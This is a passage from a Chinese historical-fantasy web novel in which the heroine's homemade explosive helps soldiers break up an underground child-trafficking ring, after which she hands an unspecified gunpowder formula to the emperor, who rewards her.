而一直苦苦等待机会的萧声看着那些散在四周的拐子们一股脑的朝着易先生他们所在的小洞穴涌去,眼中闪过一丝厉芒,她等的就是这个时候。 随着挤过去的拐子们越来越多,萧声藏在人群里,从自己身上摸出来一节又一节奇怪的管制武器,将它们组装在一起,最后形成了一根细长的棍子。 得庆幸这地下洞穴并没有那么高,否则她也不会有这个把握能一下捅破头顶的洞穴。 听那位行为举止古怪的应县主说过,这个叫做信号弹的东西只要有一丝缝隙就会显出大量的刺眼光芒。她得尽可能的在地面造出一个缺口,好让伯爷发现她所在的位置。 那些把萧声围在中间的年轻女子们惊喜看着这一幕,她们虽然不认识这位身材高挑的姐姐,但却知道她现在是在救大家,所以都默不作声的把她藏的更好些,甚至还对那些惊恐睁大眼睛的孩子们悄悄竖起了食指,示意她们不要出声。万一这个时候惊动那些正在分钱的拐子们,想要逃出去的机会就更渺茫了。 “噗嗤!” 这声音并不大,那些正在分钱的亡命徒们还聚集在前方的小洞穴中,按理来说不应该听到这声音,可被那些吵吵嚷嚷的亡命徒围在中间的易先生却微微一动,眼神迅速锁定那貌似无害的羔羊们。 什么声音? 萧声并没有停下,在洞穴昏暗光线的掩盖下,她手中的武器漆黑如墨,如果不走到一定距离,很难被人发现。 易先生显然是个极其谨慎之人,因为他在听到这细微的动静之后,并没有置之不理,反而抬脚往这边走。 发现这一幕的萧声屏住了呼吸,孤注一掷的用力往上一捅,一丝清凉的风从那个细小到洞口中勇了进来,带给大家一阵清爽。 眼看着那易先生大步朝这边走来,萧声不再犹豫,抓起怀里那信号弹,拽掉引线之后直接顺着洞口扔了出去。 “咚嗒——” 地面传来轻微的震动感,一丝白光从洞口中泄下来,刚好照在萧声身上。易先生已经发现不对劲的地方,拧着眉命令那些陷入争抢的亡命徒。 “有兔子潜伏进来了。把这些人都给我带……算了,把这些羔羊都给我杀了。留着终究是个隐患,尤其是那小兔崽……” 要怪只能怪你命不好,托生成那个人的孩子,竟没有半分眼力见儿,在朝堂之上也不知道归顺些。 那些原本还陷入争抢之中的亡命徒们在听到易先生的声音后迅速清醒,回头看着那些女子孩童的眼神都带着狰狞。杀人他们不是没做过,尤其易先生还说这里已经被人盯上,他们很有可能陷入生命危险。与自己的性命比起来,这些人的命又算得了什么?干脆全杀了就地一埋,这里刚好是个上好的埋尸之地。 眼看他们就要动手,萧声就算自己武艺再高强,也护不了这里上百个女子孩童。并且伯爷他们就算带着人手过来也需要一定时间。萧声很快就下了决断,从怀里掏出另外一个罐子,用火折子一点那长长的引线,极为精准的朝着易先生等人所在的小洞穴扔去。 其实这个时候萧声并没有对那个小罐子抱有太大的期待,毕竟,那东西看起来实在太小了,就算能砸到其中的一两个,剩下那么多人也不一定能阻挡得了。所以她已经分开人群,向前方跑去准备拖延时间。可就在她走第二步的时候,耳边突然响起一阵巨大的轰鸣。 有那么一瞬间她觉得自己什么都听不到了,脑袋嗡嗡作响,眼前现出大量刺眼的光芒,就好像天上的雷霆突然降临此地,几乎要把整个洞穴炸开! “轰——” 原本就看到刚刚信号弹绽放出光芒的戚征等人听到这震天动地的巨响,几乎以为在大晴天里打雷了!可现在虽然已经是晚上,可月朗星稀,哪里来的乌云? 戚征看着发出巨大动静的方向,握着缰绳的大手狠狠握紧,就连胯下的战马都因极大的恐惧而不断嘶鸣,踌躇不前。这可是经历过万人血战的汗血宝马,竟也会因为天上雷霆的力量而感到恐惧? 身后的将士们更是如此。这年代的人们,对于一切不能用常识解释的事情,都会理所当然的将之认为神迹。此时此刻看着地上绽开的雷霆,所有人都狠狠的倒抽了一口凉气。戚征甚至能听到自己的正后方那最为得力的下属惊恐的呢喃。 “天爷呀,这是天上雷霆神君下凡了吗?这个时节,这个时候怎么可能会打雷?还是地下出现的雷霆?” 就在戚征也不知道该如何回答的时候,一道轻快的身影从他身边一闪而过,虽然骑马的姿势依旧别别扭扭,甚至极为拙劣。可淡定从容的背影还是吸引了不知所措的众人。 “威力好像有点小啊,第一次做,失手了失手了。哎?你们怎么都不走了?我们不救人了?” 是应九阙。 戚征垂了垂眼,缓缓吸了口微凉的夜风。 第四十三章 计算失误,被逮了 出宫之时,其实陛下有些欲言又止,只是到最后也没说出口。那时候戚征还觉得奇怪陛下有什么不能直接跟他说的,直到现在他才想清楚,原来陛下那时候是在犹豫要不要说应九阙此人身上的疑点。 一个养在庄子上,不被家族所重视的大家闺秀,也没有接受过什么良好的教育,但竟然可以随手制作出这等威力强大的东西。这已经不能用天生聪颖来形容了,只能说是神异。 与此同时,戚征又觉得自己脖颈后面的汗毛竖起,一种不知道从何而来的危机感让他觉得头皮发麻。这巨大的动静竟然是从一个小小的罐子里发出的,可想而知,那武器有多么厉害。若是在战场上,只此一物,就可以让马匹惊动,摔死将士都有可能。毕竟在高速移动的时候,只需要一点点外力,都会致使人出事。 可之前应九阙说过什么?那个小小的罐子,这样的神兵利器,竟然只需要一两银子就能制作出来?!兵部努力了这么多年,都是干什么吃的?竟然连一个十几岁的小姑娘都不如?就算已经隐退,但陛下这些年在武备方面耗费了多少精力他还是有所耳闻的。每年海一样的银钱投进去,连个水花都听不见,一样威力强大的武器都制作不出来,还不如给边疆战士让他们吃好喝好。 当然,这只是气话,戚征自己也知道这是不可能的事,毕竟一种威力强大的武器在战场上能发挥出来的作用,没人比他这个沙场战将更懂。 轻轻一磕脚,身下的战马已经极通人性的朝着前方冲出,追上那个歪歪斜斜的身影。虽说他现在一肚子疑问,但当务之急还是要尽快找到自己的孩子!然后,然后就去找陛下。身为一个将领,哪怕已经隐退,但见到这等神兵利器,哪儿还有时间闲等着?必须得问问能不能再制作出来啊! 九阙还疑惑呢,这伙人刚刚跟傻了似的不动弹,结果突然就跟疯了似的往前冲,把她和淳于霜独独落在后面,也不知道是失心疯了还是怎的…… 不过回头看看那些留在身边保护她们的侍卫,九阙也不能昧着良心说话,只能无奈的叹口气,加快速度。 只是,她一刚学会骑马的新手,只能远远的听到前方传来杂乱的吵闹声,而且声音还越来越小,眼瞅着都要结束了,九阙那叫一个着急啊。怎么她还没见到双方交战的场景,这就要打完了?她也可以帮忙的好吗? 就在九阙考虑要不要踢身下马匹一脚的时候,一阵急促的脚步声传来,身后侍卫们迅速警觉,只是还没等他们冲过来,那狼狈的身影已经冲了过来,并且一眼看见应九阙胯下那匹千里良驹。这可是景泰帝特意赏赐给应九阙的好马,自然显眼得很。那戴着面具的男人顿了顿,一丝犹豫也无,直接冲了上来。 应九阙骑着马可是在急速奔跑,那人仗着艺高人胆大,直接就冲过来夺马!一只手拽着九阙的腿,狠狠往下一扯,同时自己已经腾越而起,另一只手去拽缰绳,眼看着已经可以夺马而逃…… 如果他计算没有失误的话。 因为当他被缰绳拖着往前方追兵处冲去时,才发现了一个尴尬的问题。他根本没有把那个看起来柔弱的女子拽下来。 应九阙打量一眼这个把自己当成软柿子捏的男人,抽了抽嘴角,她虽然看起来弱了点儿,但有的是力气和手段!咳,有点儿跑题啊。但她随即就是狠狠一脚,踹的对方脸色一阵扭曲,但还强撑着要挟持应九阙,毕竟她一身官服,重要的是,还是个女人,是个最合适不过的人质对象。 九阙深吸一口气,看着这个贼心不死的男人,一伸手抓住对方的胳膊,在对方茫然痛苦不可置信的目光中狠狠向下一折! “咔嚓!” 那男人的胳膊直接断了! 趁他病要他命,九阙依旧不松手,一把勒住对方的脖子把他的脑袋狠狠磕在马鞍上。这年代有钱人出门装点的途径无非就那么几种,应九阙就见过那些打马游街的公子哥们给自己的马匹穿上衣服,披上各种各样的绫罗绸缎。她倒是没耗费太多精力,可这匹马是陛下所赐,她不用装点,附带的就有马鞍,看上去豪华至极,可唯一的副作用就是,太硬了,还硌得慌。 可这种时候,装饰着各种金银珠宝首饰的过硬马鞍带给易先生的,就变成了绝对的痛击! “啊!” 易先生发出一声惨叫,终于坚持不住轰然倒地,如果九阙没看错的话,他还被身后奔劳过来的马蹄无情践踏了好几下,骨头碎裂的声音叫人毛骨悚然。 就连原本紧紧追在后面的戚征都扯了扯嘴角,听声音,最起码断了五根肋骨。但想起刚刚见到的场景,又觉得这惩罚实在是过于轻柔。 不用九阙出声,这会儿身后出自戚征府中的侍卫们已经训练有素的用不知哪里弄来的绳索将易先生套中,在地上狠狠拖行了一段距离才缓缓停下。 等戚征等人下马去看这个今夜最大收获的时候,易先生已经是进气多出气少了。脸上的面具也不知何时掉落,露出一张苍白如同鬼魅的脸。 只是即便到了这个时候,易先生也还是一副看不起所有人的模样,哪怕他已经被绑成了粽子,被团团围住,绝对没有生还的可能,他依旧平等的看不起所有人。 当然了,这种时候还这么高调,他绝对在找抽,因为一个高大的侍卫已经忍不住狠狠踩了他几脚,原本就血迹斑斑的身体上顿时又多出了几个大脚印,显得有些滑稽。易先生原本那种高高在上的表情终于绷不住了,他狠狠地瞪着戚征!刚刚就是这个男人在地下洞穴崩塌时冲进来,毫不留情的捅死了好几个试图反抗的手下。然后把自己像赶老鼠一样赶了出来! 那种冰冷的,没有把他放在眼里的眼神…… 让人厌恶至极! “你若是任由你的属下折腾我,我立刻自裁,你什么消息得不到!” 第四十四章 有人要把你抓走 戚征还没说什么呢,就看见应九阙狠狠一个哆嗦,有些不可置信的模样。 “额,我怎么觉得这句话似曾相识?但怎么也不可能从你嘴里说出来啊,怪怪的。” “你什么意思?” 易先生对这个坏了自己好事的女人没有一点儿好印象,刚刚如果不是她,此刻自己早就已经跑远了,哪里会变成这阶下囚? 不过对于他的问题九阙根本没有回答的意思。她只是使劲儿抖了抖身子,好像要甩掉一些本不应该存在的东西似的。然后就径直穿过易先生,朝着那些被解救出来的女子孩童走去。 她没有忘记林大娘的嘱托,今天晚上就是为了找她老人家的孙子才闹了这么大一通。当靠近那些像小兔子似的孩子时,九阙心痛的发现他们中的大多数人不由自主的后退一步,这大概是太过害怕的缘故。 都怪那些该死的人贩子。 勉强扬起一抹温柔的笑意,九阙尽量温和的开口。 “孩子们,你们中有没有叫明德的?他的奶奶很着急,已经找了他快一天了。你们别害怕,我不是坏人。你们看,我身上还穿着官服呢,我是当官儿的,来给你们做主来了……” 那些孩子还是很害怕,只不过在看到九阙身上那对他们来说已经足够威风凛凛的官服时,还是有个别胆大的朝着他走了几步。 那是一个穿着破旧麻布的孩子,没有丝毫装饰物点缀,只是生的实在玉雪可爱,这会儿一点儿也不怯场,走上前小声的询问。 “姐姐,您找的是林明德吗?” 九阙第一眼先去看他的左耳垂,那里果然有一颗绿豆大小的红痣,鲜艳欲滴,十分惹眼。再仔细端详他的脸,虽然比见过的林氏夫妇要出众许多,但还是依稀能看出一点儿相似的地方。 之前林大娘说她的孙儿冰雪聪明时应九阙还没有具体的概念,可是在亲眼看到对方之后,九阙就明白了,这确实是个聪慧的孩子。 “是啊,我找的就是林家明德。你可真是让我好找,跟我回去吧,你家里人都等着急了。” 林明德还是很警惕的,他盯着应九阙看了又看,然后又去看刚刚像天神一样冲进来解救他们的戚征,那叫一个谨慎。戚征对他点了点头,他身边一个同样出众的孩子也对着林明德点了点头,他才算放下心来,答应跟着九阙离开。 只是在离开之前,戚征让起码十个侍卫贴身护送,请她送完人之后一定要进宫一趟述职,毕竟这件事陛下也很看重,并且态度很坚定,就连见识到了霹雳火威力的淳于霜等比较熟的人也很赞同。 没法子,九阙只好答应了。她本来还想和萧声姐说几句话,但她好像受伤了,从刚刚开始就没见到人,只能放弃。就是在一路骑马回去的时候,总觉得自己好像个狐假虎威的狐狸哦…… “啾啾!” 一阵突如其来的鸟叫声响起,九阙撩起眼皮子去看路边,意外发现了几个小小的身影。 那不是小泥巴吗? 小泥巴脸憋的红红的,不停的朝着应九阙挥手,甚至还从路边蹿出来,拼命要拦住应九阙的马。 应九阙马术还不精通,只能勉强拽住缰绳停下,勉强护住怀里的孩子,停下的时候,马蹄几乎是从小泥巴头上跨上去的! 身后的侍卫倒是不用担心,他们都是从战场上退下来的老兵,一个个身经百战,很是轻易就避开了小泥巴,只是有些心有余悸。 “……小泥巴,你怎么了?” 从马上跳下来,九阙将小泥巴扶起,轻柔的询问。 小泥巴勉强从惊悸中回过神来,喘匀一口气之后连忙劝九阙不要回去。 “您不要回家,有人埋伏在你回去的路上要把您掳走!” 九阙还没什么反应,那些护卫她的侍卫已经紧紧蹙起了眉头。这可是连陛下都极为看重的少见女官,更何况之前萧头儿弄出来那么大动静,都是因为有应九阙弄出来神兵利器!那等仿佛雷霆神君下凡一般的威力,足够他们礼遇! 而这样可遇不可求的武器天才,竟然还有人要埋伏她?!胆大包天! 要不是还要护着应九阙,这些护卫都要冲出去杀人了!不过,这是真的吗?这个突然冲出来的小孩儿,有点儿奇怪啊。当看清楚小泥巴残缺的手掌时,这些人微微叹了口气去,看来是个被拐子们残害的娃儿。 这时候九阙也问出了大家心里的疑惑。 “是谁要害我?你是怎么知道的?你怎么一个人在这里?你会不会有危险?” 小泥巴原本冰冷的脸此刻似乎因为九阙的体温而温暖起来。他笑着看九阙,丝毫不在意自己的安全。 “应大人其实已经猜出来了吧,我是无忧洞里的小乞丐。那些大乞丐让我们做坏事,我们不愿意,就都成了这样。应大人,我知道你是个好人,好人不应该被人拐走,他们知道你是个官儿,可是他们不介意。他们甚至觉得当官的女子更好,更能卖出个好价钱。所以您一定不能回去,他们根本不害怕……” 九阙一把将这个紧张到语无伦次的孩子抱在怀里,轻轻拍着他的脊背,安抚这孩子紧绷的神经。 “你别怕,我不回去,你看到我身后这些人了吗?他们都是威远伯府上的家将,一个比一个威武雄壮,还特别厉害,别害怕,他们可以保护我。” 看向那些藏在阴暗角落里的孩子们,九阙朝着他们招了招手。 “来,都过来,先跟着我,我带着你们先去客栈。晚上太冷了,先吃顿饱饭,好好睡一觉。” 那些孩子们十分犹豫,纷纷看向小泥巴,小泥巴坚决拒绝了。 “我们不能去。虽然我们不受重视,但无忧洞人一生都不得踏上地面,除非是去做坏事,没人会愿意让我们进去的,因为他们会被报复。应大人,我就只是想说这句话而已,其他的就这样吧。还有,我真的很抱歉,我不是故意扔你,我……” 说着说着,这孩子眼眶里就凝聚起大颗大颗的水珠,啪嗒啪嗒的往下掉。 第四十五章 老奴等候已久 小泥巴觉得很伤心。这位应姐姐真的是对他们很好很好的人了,她不嫌弃自己和伙伴们,给她们买了香喷喷的包子。甚至之前自己扔她泥巴的时候也不生气,还会温柔的摸摸自己的脑袋,她真是个大好人!所以,这么好的人才不能被洞里的人抓走! 在此之前,小泥巴也见过一些被抓走的姐姐们,只是见了一面,从此以后就再也没有见过她们。他很清楚这代表着什么,那些姐姐们说不定已经没了。 应九阙轻轻拍了拍小泥巴的脊背,示意他不用担心。 “没事,我很安全。你说无忧洞啊,无忧洞今天抓了很多人,那些拐卖孩子姑娘的人,很多都被抓住,现下,他们没有那个心思来找我。” “什,什么?” 小泥巴似乎听不懂这些话,什么叫无忧洞被抓了很多人,官府不是一直拿无忧洞没办法吗?要不然地面的人家也不会如此惧怕无忧洞的势力。 可应九阙的眼神温柔真挚,不像是骗人,小泥巴花费了一点儿时间才相信这事实,随即猛然回头看向那群同样茫然的伙伴。 大家彼此对视了好几眼,消化了这点儿之后,眼中陡然迸射出惊人的光芒。 这是不是代表,他们以后可以不用住在臭乎乎还潮湿黏腻的洞穴里,可以大大方方的走在街道上,可以用自己的双手谋生而不必担心所得的一切会被那些大乞丐和头头们抢走了? 他们,他们也能和普通人家的孩子一样生活在阳光下吗? 这个消息来的太过突然,以至于他们都不敢相信。可这位大姐姐并没有理由骗他们,所以不久前听到的那阵骚乱就和无忧洞有关? 简单的解释了一下目前的情况,九阙成功说服了小泥巴他们几个孩子,并且把他们带回了自己的宅院。 半路上,小泥巴依旧神经紧绷,可是在他还没发现埋伏之前,那些看起来就不好惹的侍卫们已经冲上前去,狠狠的摁住了那几个伺机窥探的歹徒。 那拳拳到肉的声音让小泥巴都忍不住鼓起了脸蛋儿。这几位侍卫大哥和那埋伏的拐子有什么深仇大恨吗?这打的,骨头都断了好几根儿吧。 其实大家打的还算轻,如果不是担心吓到这位应县主,他们都想直接了结狗贼的命。能用出那样威力的武器,应九阙在他们眼中跟神仙之间也没什么区别了。大景开国这十三年以来,其实百姓们过的并不好,各种天灾人祸层出不穷。甚至有些流言说陛下得位不正,才会招来上天震怒。现在有了这样一位活神仙在,岂不是证明他们陛下正是顺应天命,推翻暴政,建立新朝? 总而言之,这只是一个小插曲,九阙都没有下马,直接带着人回到自己家。说实在话,她在这个家里住了也不过几天而已,里面那些服侍的侍女小厮都是景泰帝安排的,出于对皇帝的信任,九阙并没有将他们的职位变动。 可能有些人会觉得这样暴露在皇帝的监视中很不自在,但九阙却觉得格外省心,毕竟她又没做什么见不得人的事情。 招呼大家把小泥巴他们几个洗的干干净净,换上衣服,摆了一桌子容易消化的美食,九阙对着小脸红扑扑的小泥巴解释。 “不好意思哈,我家里没有你这个年龄段的小孩儿穿的衣服,这些有点儿大了,等明天带你们去做新衣服。” 小泥巴眨了眨眼,有些不知所措,往常,他习惯性的接受大家的恶意,像这样纯粹的善意,让他有些无所适从。 他急着跟九阙保证。 “姐姐,应大人,您放心,我现在就开始干活儿,我很有用,他们也都很勤快,我们不会吃白饭!我们……” “好啊。” 九阙并没有说什么‘你们不需要干活’的屁话。她知道,如果真这么说了,反而会让小泥巴他们感到无措。他们习惯了付出才能有收获,如果真把他们当成闲人一样养着,反而会养废他们。 而且,他们本来就身有残缺,如果真让他们什么都不做,反而会更让小泥巴等人察觉出自己和旁人的不同。她想让他们像正常人一样活着,能够付出劳动来养活自己。这个年代谁活着都不容易,这群小孩儿更艰难。所以他们必须付出加倍的努力,才能得到相对公平的收获。 “你们要做好准备,以后要学的东西还多着,可不允许半途喊累。别看我这样,我可是个严格的夫子,不听话的人都会被我打手心。” 小泥巴忍不住笑了。他很想说自己没有手怎么打手心,可是笑着笑着竟然有点儿想哭。应大人真的把他们当成人来看待,而不是路边可以随便踢上一脚的野狗。 以往像浮萍一般在世上飘荡,无所依靠的孩子们,此刻才算有了落脚点。 “好了,你们先吃着,我得进宫一趟。陛下找我还有事儿。” 眼看着身后的侍卫已经焦急的在原地转了好几个圈儿,九阙也只能暂时停下和孩子们的交谈,准备离开的时候用‘我就出去买个东西’一样的平淡语气说出了叫孩子们目瞪口呆的话。 什,什么? 应大人要进宫?而且是去见谁?见陛下?!这个天下最大最大的官儿? 小泥巴觉得自己呼吸有些不畅,耗费了很长时间才缓过来,只是这个时候应大人也已经离开了。他低头看一眼摆在面前的清淡肉羹汤,又抬头看看留在这里保护他们的侍卫大叔们。揉了把脸,专心致志的开始吃饭。 就像应大人说的那样,他们要用这侥幸活下来的躯体给她做很多很多的事,才能报答这救命和收留之恩,所以他要好好吃饭睡觉,让自己变得强壮起来,能做更多的事情。 九阙本来还想着天色都这么晚了,陛下早就已经休息,说不定到门口转一圈儿,侍卫们不让进去,她就可以回来了。没想到刚一到宫门口就遇到了一个在原地团团转的人影。终于见到这位主的九福大总管简直是一个箭步冲过来,态度匪夷所思的恭敬。 “县主,老奴等候已久,您可算是来了!” 第四十六章 会炸 毫不客气的说,九阙都僵硬的站住了。不是,这位可不是什么普通的小太监,这可是上过战场,和景泰帝出生入死过的好汉。只是因为在战场上受了不可言状的伤,才转而进了宫。景泰帝不知道多么看重,这样位置的大总管,竟然会对自己自称‘老奴’? 应九阙已经开始反省自己做过什么伤天害理残害忠良的事了。 没想到九福十分亲热的虚虚握住九阙的胳膊就把她往宫里带。 今天晚上的动静,除非是京城里的聋子瞎子,否则谁会不知道呢?尤其是九福,他如今是太监,在这座传承了几百年的宫殿里,往往会有些用常识解决不了的问题,也因此这皇宫的宫女太监,总会比外面的人更迷信些。 今晚那样璀璨的光芒,几乎要闪瞎人眼,那巨大的动静,就像天上的雷霆神君发怒,震撼天地! 早早就得知消息的九福跟着景泰帝站在皇宫最高的一座塔上遥望笼罩在夜色之中的京城,也因此在异变发生的那一刻他们是最早知道的。 九福直到现在还记忆尤深,身子都在微微颤抖。 黑暗的夜色之中,先是一道足以撕裂夜幕的光横空出世吸引注意,紧接着就是一声震天动地的巨响,即使他们远在皇城,似乎也能感受到那震颤感。九福那时就站在景泰帝身后,第一反应就是有人刺杀,只是紧接着,他看见景泰帝眼中猛然迸射出的光芒,那是绝对的狂喜…… 和恐惧。 怎么可能?即使已经在第一时间低下头,但九福依旧能感受到陛下放在自己身上的目光是那么冷肃,就像两把利刃一样,撕扯着他的身体。过了很长很长时间,九福才感受到那目光转开,心里悄悄松了口气,只是受到的震撼依旧很大。 这样大的动静,究竟是谁弄出来的? 很快他就知道了答案,竟然是那位备受陛下关注的应九阙! 那个时候,九福当真是福灵心至,难怪陛下那么看重一个不受家族重视的女子,竟然是因为这个?陛下果真是真龙天子,这般能慧眼识珠,这可是天下的喜事! 别的不说,北蛮至今仍在虎视眈眈,时常与边境发生冲突,如果那样威力强大的武器可以量产,踏破北蛮王庭岂不是指日可待? 陛下可能也是这么想的,因为他明显十分激动,并且用高昂的语调让九福去等着把应九阙接进宫,他不想从其他人口中得知消息,或者说,他只想让九阙亲口说出来,那强大的武器到底能不能量产!哪怕不能大量造出,当做奇兵也行啊。 这不?得到了嘱咐之后,九福就着急忙慌的冲到宫门口顶着寒风等了很长时间,才算是把这位姑奶奶给带回来了。 “您别担心,老奴只是想把您带到陛下面前去。今晚实在是太过惊险,陛下可担心您的安危了。要不然也不会让我来这里等着。来,这边走,小心点儿台阶……” 九阙硬是被九福大总管扶着走到了陛下所在的养身殿,期间各种小心翼翼的说笑,弄得九阙浑身不自在。她总觉得这位大总管把她当成了某种高高在上的不可言说的…… 神仙之类的存在? 九福其实很想控制住自己不要太谄媚太好奇,但人类自古以来对神明的向往是与生俱来的,憋了一路,最后还是没憋住,小心翼翼的开口。 “应县主,您说,这世上真有神仙吗?” 九阙顿了顿,语气有些微妙。 “神仙啊?这可说不准……” 虽然没有明说,但九福却像是得到了什么箴言一般,恭敬极了,九阙本来还想给他科普一下,但见他这样,还是放弃了。算了算了,尊重他人命运,不强求。 进了养身殿,九阙发现其他人已经到了个整整齐齐。淳于霜这会儿还给了自己一个安抚的眼神,其他人也有些担忧。 倒是陛下,在九阙行过礼后直接了当的给她弄了个椅子,说是体谅她奔波一天辛苦了。 沉默片刻过后,景泰帝才略带着些笑意的开口。 “应卿,你今天辛苦了,今日能找到戚征独子,你的功劳最大!” 【戚征独子?啊,这个时候我要是说我是为了救林大娘的孙子才跑了一天把自己弄得灰头土脸的,陛下会不会觉得我不识好歹啊?毕竟朝中有好多人好像看不起平民……】 九阙抬头看看那位沉默寡言的将军,没在他身后看见小孩子,有些遗憾。 只是景泰帝的表情不知为何有些扭曲,他强行压下心中的怒吼,面上十分平和。 “应卿实在是一位福星啊,先是救了朕,又救了朕兄弟的孩子,甚至还生擒敌首,不可小觑。朕看你的巡城御史一职,又要往上升升了。” “陛下谬赞了。” 【感觉我就是来走个过场啊。我跟老皇帝又不亲近,他肯定想赏赐自己兄弟亲信啊。说不定只是让我顶在前面挡住那些反对的声音?嘶,官场黑暗啊,说不定过不了三天我就被人给参下来了。我好惨嘤嘤嘤……不过到时候可以辞官归隐哎,老皇帝给了那么多金银,到时候带着小泥巴他们去暖和些的江南玩儿,烟花三月下扬州,美人美景与美食,人生大乐啊哦吼吼吼……】 “……” 景泰帝揉了揉眉心。行了,不用担心这位会功高震主,因为她脑子里就没有这根弦! “咳咳咳!” 这时候,戚征握拳稍稍咳嗽了几下,给陛下使了个眼色,景泰帝了解,有些激动的询问。 “应卿,今晚你交给戚征侍卫的那两样武器,可是你自己制作的?” “回陛下,正是。” 【呃,我这不会触犯到什么禁忌了吧?话说京城好像天黑了之后禁止喧哗?可这也不熟我故意的……】 “……不知制作起来可难?费用可高?” “回陛下,有些难,费用,嗯,应该不高?第一次制作,浪费了些材料,最后花了大概一两银子。” “能否批量制作?” “这个……” 【我没尝试过啊。这东西做起来太危险了,稍不注意,可能会炸啊!】 会炸! 知晓那武器强大威力的景泰帝瞳孔猛然缩小!这么危险?! 第四十七章 天暖了,让无忧洞‘破产\’吧 “回禀陛下,暂时还不能。” 九阙还觉得没有说错话,为自己的严谨沾沾自喜。 【我这大概就叫坦诚相对吧。老皇帝要是知道我这么真诚的对待他,说不定会感动到哭出来。其实也不是绝对不能,但火药这玩意儿怎么可能绝对安全无害?稍微不注意,房顶都能炸上天。这种热武器对于冷兵器时代简直是碾压式的存在,嘿嘿嘿,我就知道没有谁能逃得过它的魅力。】 【可这东西一旦弄出来,万一有谁因此而受伤,不会都扣到我头上吧?我可知道这满朝文武最擅长的就是给别人扣高帽子。】 “……” 景泰帝深吸一口气。他真的很想矫正一下应九阙的谬论。什么叫最擅长给别人扣高帽子?他难道就是这样坐视不管的君主吗?呃,想了想朝堂之上大家互相倾轧,甚至文武群臣都能大打出手的场面,景泰帝又觉得自己的底气并没有那么足。 咳咳咳,但是,但是这也不是应九阙可以用来推脱的理由。 火药?仙人的东西,果然就连名字都是古怪的。那样杀伤力极大的东西怎么可能称之为‘药’?应该被称为‘大杀器’才对。 为今之计,是得仔细考虑考虑,如何才能将应九阙的警惕性降到最低。这样的杰作不该埋没,得让它出现在世人面前才是。 “唉……” 景泰帝突然长长的叹了口气,整个人看上去十分疲惫。 “北蛮那边至今仍虎视眈眈,前几日我方的娘子军才将他们打败,现在又蠢蠢欲动,时不时都要犯我边关。可怜边关百姓只想休养生息,却连这么简单的要求都成了奢望!那些可恨的北国蛮子!” “也不知得到何时,我边关百姓才能在草原上纵横驰骋,大胆放牧……” 景泰帝刚开始的时候还是技巧,后来就全是感情了。他这辈子最遗憾的一件事,就是没能亲自把北蛮打服。眼睁睁看着那些蛮子在自己地盘上肆虐,身为帝王的他心中只有愤懑。可是他得忍呐。大景朝如今连年天灾人祸,粮草不足,偏偏朝中文武大臣又不和谐,时常发生龃龉。新兴贵族与世家之间的争斗从未停止,甚至当初他之所以能登上帝位也是因为暂时和世家大族达成了和解。 如今想来,真是一把辛酸泪呀! 眼看着皇帝已经陷入了自怜自艾之中,戚征轻咳一声以做提醒,陛下这是怎么了?怎么当着这些小臣的面唉声叹气的?有失帝王体统啊。其实他倒是不在意,只是景泰帝待会儿又该为自己的行为感到后悔了。 “陛下,北蛮狼子野心,实在叫人生厌。陛下不必忧心,我朝如今人才辈出,将才比比皆是,总有一天会踏破北蛮王庭。届时,陛下所思所忧,将会迎刃而解。” 景泰帝回过神来,为自己刚刚的失态感到不好意思,不过他很快就回过神来,殷切的望着应九阙。 “可惜应卿今夜拿出的武器不能量产,否则我大景在战场上必将占据一席之地。那什么北蛮,在这样威力强大的武器之下必将土崩瓦解!” 九阙有些迟疑。 【倒也不是不能做,只是这东西制作的过程必须极其精细,稍微有一丝不对,就会有很多伤亡。嗯,要不我把方子给皇帝,让他自己做主吧。反正身为皇帝肯定有自己的亲信。】 想到这里应九阙上前一步。 “陛下,倒也不是完全没可能,只是需要耗费大量的精力,管理也必须极其严格。毕竟那种武器的杀伤力太大,而且带来的伤害也不是普通金疮药能够治好。” 事无巨细的把火药的杀伤力和危害性说了个遍,九阙自觉已经没什么好补充的了,于是当场将火药的方子写了下来,交给老皇帝。 老皇帝吸了口凉气,迫不及待的把那张墨痕未干的纸拿过来,仔仔细细的看了好几遍,确认将这张配方死死的记了下来,才稍微松了口气。 然后他看着应九阙的眼神就更加和蔼可亲了。这世上哪里还有像应九阙这样得心应手的臣子?不仅毫无保留的把珍贵的东西献出来,而且丝毫不为自己揽功,直接把方子都给说出来了,不过这孩子是不是不知道这张方子能为自己带来多大的利益? “九阙啊,你又立下了一大功,来,不必跟朕客气,仔细说说你想要什么?” “呃……” 九阙本来还想推辞,但猛然想起仍在家中的小泥巴几个孩子。于是有些不好意思的搓了搓手。 “这个,本来微臣为陛下做事,不敢有所请求。但奈何我家现在多了几张嘴,有些捉襟见肘,陛下可以赏我一些金银吗?” 景泰帝眼里的笑意几乎要支撑不住了。他可是知道这孩子在回来的路上捡了几个身有残缺的小乞丐。连那样身世坎坷身有残缺的小乞丐,她都能毫不嫌弃的带回去,足见其心性之正。 而且刚刚还立了大功,竟然不要加官进爵,只要一些普通的金银…… 这还是个孩子呢,有颗赤子之心啊。 恰恰正是这样的孩子才惹人心疼呢。 想起刚刚应九阙在心中的嘀咕,景泰帝大手一挥直接赏了她黄金万两!再加上其他布匹绸缎家用器具,几乎都能把她那个小院子给塞满了! 这下九阙是真开心了。 “陛下,多谢陛下赏赐。臣一定尽心竭力为陛下做事。” “好好好!” 景泰帝笑的都合不拢嘴了,见天色已晚,应九阙也面露疲态,干脆让九福带着她去偏殿休息。这份和蔼慈祥的笑容一直维持到应九阙彻底离开大殿,其他人原本就低着头,却依旧能够敏锐的察觉到高高在上的陛下由刚刚那和蔼慈祥的模样缓缓转变成了冷凝严肃! “哒哒哒——” 轻轻敲击着坚硬平整的桌面,景泰帝一双眼睛望着大殿外面,似乎透过这重重宫墙看向了遍布京城各地的地下通道。 他当了十三年的皇帝,就对无忧洞默默关注了十三年。每年妇女儿童失踪的折子他都一封封收着,如今也到了收割的时候。 天气渐渐变暖,也让无忧洞变得更热烈些吧。 第四十八章 硕鼠 当九阙沉浸在舒坦的睡眠之中无法自拔的时候,外界已经闹翻了天,尤其是距离爆炸地点比较近的人家,几乎全家人都从床上一跃而起,胆子小的孩子甚至吓得哇哇大哭。 全家人抱在一起瑟瑟发抖了许久,才发现接下来好像没什么动静了,除了一些细微的惨叫呻吟声。有些胆子格外大的悄悄透过窗户的缝隙往外看,结果就看到一个又一个狼狈的人影被从废墟中拖出来,结结实实的捆上。 等等,绑人的那些好像是官府的人? 那些被抓的怎么都从地里钻出来? “你们胆敢如此,无忧洞不会放过你们!小心自己的家人朋友哪天晚上睡着睡着就不见了,或者少了手手脚脚……” “闭嘴!都已经是阶下囚了,哪儿还来这么多话?” 